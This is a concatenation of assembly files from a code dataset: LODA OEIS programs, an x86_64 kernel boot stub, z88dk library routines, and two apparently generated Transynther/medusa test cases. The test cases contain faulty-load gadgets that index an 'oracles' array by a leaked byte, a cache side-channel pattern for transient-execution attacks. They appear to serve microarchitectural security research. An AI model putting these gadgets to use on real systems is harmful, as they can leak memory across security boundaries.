[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/231/A231670.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A231670: a(n) = Sum_{i=0..n} digsum_5(i)^3, where digsum_5(i) = A053824(i). ; 0,1,9,36,100,101,109,136,200,325,333,360,424,549,765,792,856,981,1197,1540,1604,1729,1945,2288,2800,2801,2809,2836,2900,3025,3033,3060,3124,3249,3465,3492,3556,3681,3897,4240,4304,4429,4645,4988,5500,5625,5841,6184,6696,7425,7433,7460,7524,7649,7865,7892,7956,8081,8297,8640,8704,8829,9045,9388,9900,10025,10241,10584,11096,11825,12041,12384,12896,13625,14625,14652,14716,14841,15057,15400,15464,15589,15805,16148,16660,16785,17001,17344,17856,18585,18801,19144,19656,20385,21385,21728,22240,22969 mov $2,$0 mov $3,$0 lpb $2 mov $0,$3 sub $2,1 sub $0,$2 seq $0,53824 ; Sum of digits of (n written in base 5). pow $0,3 add $1,$0 lpe mov $0,$1
49
499
0.72381
b4b663bf8a6800420520c130675c09c4e8798db9
3,410
asm
Assembly
kernel/kernel/arch/x86_64/boot.asm
chronium/COS
96fcd1af2cb6280ca124a816358e2597cc16d9fb
[ "MIT" ]
null
null
null
kernel/kernel/arch/x86_64/boot.asm
chronium/COS
96fcd1af2cb6280ca124a816358e2597cc16d9fb
[ "MIT" ]
null
null
null
kernel/kernel/arch/x86_64/boot.asm
chronium/COS
96fcd1af2cb6280ca124a816358e2597cc16d9fb
[ "MIT" ]
null
null
null
MAGIC equ 0xE85250D6 ARCH equ 0 LEN equ _hdr_end - _hdr_start CHECKSUM equ 0x100000000-(MAGIC+ARCH+LEN) ; Multiboot section [BITS 32] [SECTION .mbhdr] ; Those symbols are added by the linker at link-time. See linked.ld [EXTERN _load_start] [EXTERN _load_end] [EXTERN _bss_end] ALIGN 16 _hdr_start: ; Multiboot 1.X magic number dd MAGIC ; Architecture dd ARCH ; Length of the mboot header dd LEN ; Checksum DD CHECKSUM ; Tags ; Sections override ;dw 2, 0 ;dd 24 ;dd _hdr_start ;dd _load_start ;dd _load_end ;dd _bss_end ; Entry point override dw 3, 0 dd 16 dd entry_point dd 0 ; End Of Tags dw 0, 0 dd 8 _hdr_end: ; Main entry point, executed directly upon loading by Grub ; For now, CPU is still in protected mode, so this is 32-bit code. [SECTION .boot] [GLOBAL entry_point] [EXTERN stack] entry_point: ; loads first GDT (see at the end of this file) mov eax, gdtr1 lgdt [eax] push 0x08 push .gdt_ready retf .gdt_ready: mov eax, 0x10 mov ds, ax mov ss, ax mov esp, stack ; go to long mode call setup_long_mode ; loads 64-bit GDT mov eax, gdtr2 lgdt [gdtr2] push 0x08 push .gdt2_ready retf ; This part runs once the CPU is in long-mode. This is 64-bit code ; This code is reponsible of setting up the environment for the kernel ; and jump to main [BITS 64] [EXTERN kmain] .gdt2_ready: mov eax, 0x10 mov ds, ax mov es, ax mov ss, ax mov rsp, (stack + 0xFFFFFFFF80000000) ; Watch out when unmapping the lower zone, you will have an invalid ; Gdt if you're still using Gdtr2 mov rax, gdtr3 lgdt [rax] ; Jump to kernel mov rdi, rbx add rdi, 0xFFFFFFFF80000000 mov rax, kmain call rax cli .hlt: hlt jmp .hlt ; 32-bits code part that do 64 bit initialization [BITS 32] ; Space for paging data-structures is reserved by the linker (see linker.ld) [EXTERN pml4] [EXTERN pdpt] [EXTERN pagedir] setup_long_mode: ; setup the paging tables mov eax, pdpt or eax, 1 mov [pml4], eax mov [pml4 + 0xFF8], eax mov eax, pagedir or eax, 1 mov [pdpt], eax mov [pdpt + 0xFF0], eax mov dword [pagedir], 0x000083 mov dword [pagedir + 8], 0x200083 mov dword [pagedir + 16], 0x400083 mov dword [pagedir + 24], 0x600083 ; load page directory in the CPU register mov eax, pml4 mov cr3, eax ; Enable PAE mov eax, cr4 or eax, 1 << 5 mov cr4, eax ; Enable Long Mode in the MSR mov ecx, 0xC0000080 rdmsr or eax, (1 << 8) wrmsr ; Enable Paging mov eax, cr0 or eax, (1 << 31) mov cr0, eax ret ; GDT data structures tmp_gdt: dq 0x0000000000000000 dq 0x00CF9A000000FFFF dq 0x00CF92000000FFFF dq 0x0000000000000000 dq 0x00A09A0000000000 dq 0x00A0920000000000 gdtr1: dw 23 dd tmp_gdt gdtr2: dw 23 dd tmp_gdt + 24 dd 0 gdtr3: dw 23 dq tmp_gdt + 24 + 0xFFFFFFFF80000000
17.668394
76
0.575073
68d9af735bfe4f278870097deaabb170f83f7fee
110
asm
Assembly
libsrc/_DEVELOPMENT/math/float/math48/lm/c/sccz80/dcallee2.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/math/float/math48/lm/c/sccz80/dcallee2.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/math/float/math48/lm/c/sccz80/dcallee2.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
SECTION code_fp_math48 PUBLIC dcallee2 EXTERN cm48_sccz80p_dcallee2 defc dcallee2 = cm48_sccz80p_dcallee2
12.222222
37
0.863636
c4af8ecc72b8c265d2d3a96aaa6a7f858c1e9fd8
428
asm
Assembly
oeis/028/A028083.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/028/A028083.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/028/A028083.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A028083: Expansion of 1/((1-3x)(1-6x)(1-9x)(1-10x)). ; Submitted by Jon Maiga ; 1,28,505,7480,99181,1226548,14470705,165111760,1838112661,20084217868,216290873305,2302672401640,24288950066941,254275654917988,2645388660962305,27378515971285120,282112466144578021 mov $1,1 mov $2,$0 mov $3,$0 lpb $2 mov $0,$3 mul $1,10 sub $2,1 sub $0,$2 seq $0,17933 ; Expansion of 1/((1-3x)(1-6x)(1-9x)). add $1,$0 lpe mov $0,$1
25.176471
183
0.698598
51d7104d3967a5c35fe43447b257b94610d83e28
479
asm
Assembly
libsrc/lib3d/f2i.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/lib3d/f2i.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/lib3d/f2i.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; ; Fixed Point functions ; ; int f2i (long v) ; fixed point to integer ; ; ------ ; $Id: f2i.asm,v 1.3 2016-06-28 19:31:42 dom Exp $ ; SECTION code_clib PUBLIC f2i PUBLIC _f2i .f2i ._f2i pop bc ; RET addr. pop hl pop de push de push hl push bc ;; DEHL holds value ;rr d ;rr e ;rr h ;rr l ;rr d ;rr e ;rr h ;rr l ld d,l ld l,h ld h,e rl d rl l rl h rl d rl l rl h ret
9.392157
50
0.48643
c67ff81779e6942d684b008bcd17ace83c03d2f1
7,009
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_780.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_780.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_780.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r14 push %r15 push %rax push %rbx push %rcx push %rdi push %rsi lea addresses_WC_ht+0x7759, %r14 nop add $55351, %r15 mov (%r14), %rsi nop nop nop nop nop dec %r11 lea addresses_A_ht+0xb259, %rbx nop nop nop nop nop cmp $2318, %rax movw $0x6162, (%rbx) nop nop nop nop nop dec %r11 lea addresses_D_ht+0x3ad9, %r11 nop nop nop nop dec %rax vmovups (%r11), %ymm6 vextracti128 $1, %ymm6, %xmm6 vpextrq $0, %xmm6, %r14 nop nop nop nop add %r11, %r11 lea addresses_A_ht+0x15759, %rsi nop nop nop cmp $57366, %r11 mov (%rsi), %r14 nop cmp $52534, %r14 lea addresses_WC_ht+0xbcb9, %rsi lea addresses_A_ht+0x1b0d9, %rdi nop nop dec %rax mov $87, %rcx rep movsb nop nop nop nop cmp %rdi, %rdi lea addresses_normal_ht+0xaa59, %rsi lea addresses_UC_ht+0x259, %rdi nop nop xor $16419, %rax mov $64, %rcx rep movsq nop nop nop cmp $65003, %r15 lea addresses_normal_ht+0x19cd9, %r15 nop nop nop lfence mov (%r15), %esi nop nop nop nop nop inc %rax lea addresses_normal_ht+0xa059, %r14 nop nop nop nop xor $59927, %rdi mov $0x6162636465666768, %rsi movq %rsi, %xmm5 movups %xmm5, (%r14) nop cmp %rcx, %rcx lea addresses_WT_ht+0x335, %rsi nop dec %rdi vmovups (%rsi), %ymm2 vextracti128 $1, %ymm2, %xmm2 vpextrq $0, %xmm2, %r11 nop nop and $44371, %rsi pop %rsi pop %rdi pop %rcx pop %rbx pop %rax pop %r15 pop %r14 pop %r11 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r9 push %rax push %rbp push %rbx push %rsi // Store mov $0xe59, %rax nop nop nop nop and $48949, %rsi mov $0x5152535455565758, %r9 movq %r9, %xmm3 movups %xmm3, (%rax) nop nop nop nop nop cmp %rax, %rax // Store mov $0xbd9, %r12 nop nop nop nop nop add %r11, %r11 movl $0x51525354, (%r12) nop nop nop nop xor $53625, %r9 // Load lea addresses_PSE+0x9f4d, %r11 nop nop nop nop inc %rbx movb (%r11), %r9b nop nop nop nop nop xor %rbp, %rbp // Faulty Load lea addresses_PSE+0xba59, %rbp nop nop add %r9, %r9 movups (%rbp), %xmm6 vpextrq $0, %xmm6, %rax lea oracles, %r11 and $0xff, %rax shlq $12, %rax mov (%r11,%rax,1), %rax pop %rsi pop %rbx pop %rbp pop %rax pop %r9 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_PSE', 'same': False, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_P', 'same': False, 'size': 16, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_P', 'same': False, 'size': 4, 'congruent': 7, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'} {'src': {'type': 'addresses_PSE', 'same': False, 'size': 1, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} [Faulty Load] {'src': {'type': 'addresses_PSE', 'same': True, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_WC_ht', 'same': True, 'size': 8, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 2, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_D_ht', 'same': False, 'size': 32, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_A_ht', 'same': False, 'size': 8, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WC_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_normal_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 11, 'same': True}, 'OP': 'REPM'} {'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 4, 'congruent': 7, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 16, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 32, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'33': 21829} 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 */
31.714932
2,999
0.655871
17f2a776c0677e88c8d3a53552d9ff37f234a72d
456
asm
Assembly
oeis/172/A172392.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/172/A172392.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/172/A172392.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A172392: a(n) = C(2n,n)*C(2n+2,n+1)/(n+2). ; Submitted by Jamie Morken(s4) ; 1,4,30,280,2940,33264,396396,4907760,62573940,816621520,10861066216,146738321184,2008917492400,27815780664000,388924218927000,5484594083378400,77926940934668100,1114620641232714000 mov $2,$0 seq $0,108 ; Catalan numbers: C(n) = binomial(2n,n)/(n+1) = (2n)!/(n!(n+1)!). add $2,1 mul $0,$2 seq $2,108 ; Catalan numbers: C(n) = binomial(2n,n)/(n+1) = (2n)!/(n!(n+1)!). mul $0,$2
41.454545
182
0.679825
f26d1cd98b4e71f5df975bc8a2feabaa2f55a314
8,096
asm
Assembly
Transynther/x86/_processed/US/_zr_/i7-7700_9_0x48.log_21829_2647.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/US/_zr_/i7-7700_9_0x48.log_21829_2647.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/US/_zr_/i7-7700_9_0x48.log_21829_2647.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r14 push %r8 push %rcx push %rdi push %rdx push %rsi lea addresses_A_ht+0x1bb48, %r14 nop sub %rsi, %rsi vmovups (%r14), %ymm0 vextracti128 $0, %ymm0, %xmm0 vpextrq $1, %xmm0, %r10 nop nop xor $64085, %r11 lea addresses_WC_ht+0x7c48, %r14 nop nop nop nop nop xor %rdx, %rdx mov (%r14), %r8 nop nop nop and $38284, %r10 lea addresses_UC_ht+0x12608, %rsi lea addresses_WT_ht+0x730c, %rdi nop inc %r11 mov $47, %rcx rep movsw nop nop nop nop nop sub $9041, %r8 lea addresses_normal_ht+0x185d8, %rsi lea addresses_WC_ht+0x1b48, %rdi clflush (%rdi) nop nop nop nop nop xor %r14, %r14 mov $81, %rcx rep movsq nop nop nop nop dec %rsi lea addresses_normal_ht+0x7348, %rsi lea addresses_D_ht+0x9e2c, %rdi nop nop nop nop nop cmp $56452, %r11 mov $66, %rcx rep movsb nop nop nop nop add $16727, %r10 lea addresses_A_ht+0x115c8, %r8 nop inc %rcx and $0xffffffffffffffc0, %r8 movaps (%r8), %xmm0 vpextrq $1, %xmm0, %r11 nop nop nop nop nop and %rdi, %rdi lea addresses_A_ht+0x8f48, %rsi lea addresses_UC_ht+0x15f08, %rdi nop nop nop nop nop cmp $40030, %r8 mov $74, %rcx rep movsl nop nop and $52641, %rdi lea addresses_normal_ht+0x170cc, %rsi lea addresses_D_ht+0x12748, %rdi nop nop nop nop dec %r8 mov $122, %rcx rep movsb nop nop nop add %rcx, %rcx lea addresses_WT_ht+0x1b848, %rsi nop nop nop nop nop sub %rdi, %rdi movl $0x61626364, (%rsi) nop nop lfence lea addresses_A_ht+0x13a68, %rdi nop nop nop xor $35014, %r14 mov $0x6162636465666768, %rdx movq %rdx, %xmm5 vmovups %ymm5, (%rdi) xor $24117, %rdi lea addresses_D_ht+0x119b8, %rdx sub %r10, %r10 movl $0x61626364, (%rdx) nop nop nop and $4974, %rsi lea addresses_UC_ht+0x119c8, %rcx nop nop nop nop cmp %r11, %r11 mov (%rcx), %r8d inc %rsi lea addresses_normal_ht+0xeac8, %rsi lea addresses_A_ht+0xa590, %rdi nop nop nop and %r11, %r11 mov $104, %rcx rep movsq nop nop nop and %rdx, %rdx lea addresses_normal_ht+0x11f48, %r10 nop nop nop cmp %rdx, %rdx movb (%r10), %r14b nop nop nop nop xor $4450, %r11 pop %rsi pop %rdx pop %rdi pop %rcx pop %r8 pop %r14 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r13 push %r15 push %rbp push %rcx push %rdx push %rsi // Load lea addresses_UC+0x3248, %rdx nop and $37615, %rcx mov (%rdx), %rbp nop nop inc %rcx // Store mov $0xec8, %rsi cmp $44066, %r15 movw $0x5152, (%rsi) nop nop sub $21334, %rcx // Faulty Load lea addresses_US+0x18f48, %rbp nop nop dec %r11 movb (%rbp), %r13b lea oracles, %r11 and $0xff, %r13 shlq $12, %r13 mov (%r11,%r13,1), %r13 pop %rsi pop %rdx pop %rcx pop %rbp pop %r15 pop %r13 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_US', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'AVXalign': False, 'congruent': 8, 'size': 8, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_P', 'AVXalign': False, 'congruent': 1, 'size': 2, 'same': False, 'NT': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_US', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': True, 'NT': False}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 10, 'size': 32, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 7, 'size': 8, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 2, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 10, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 0, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': True, 'congruent': 5, 'size': 16, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 3, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 11, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 7, 'size': 4, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 5, 'size': 32, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 4, 'size': 4, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 5, 'size': 4, 'same': True, 'NT': True}} {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 3, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 9, 'size': 1, 'same': False, 'NT': False}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
32
2,999
0.658103
aaf28439118890ed86b56f9e4b209ecf8cafc1a9
697
asm
Assembly
programs/oeis/097/A097072.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/097/A097072.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/097/A097072.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
